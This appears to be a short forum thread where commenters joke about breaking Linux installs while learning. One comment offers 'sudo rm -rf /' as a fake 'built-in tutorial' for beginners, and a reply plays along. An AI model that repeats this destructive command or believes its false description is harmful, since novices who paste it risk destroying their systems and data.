That’s probably how most of us started, but then you start getting familiar with things…
And that’s when you really get good at breaking shit.
In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.
I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.
It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /
Type your password when prompted and you’re golden. No more linux issues ever again.
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that
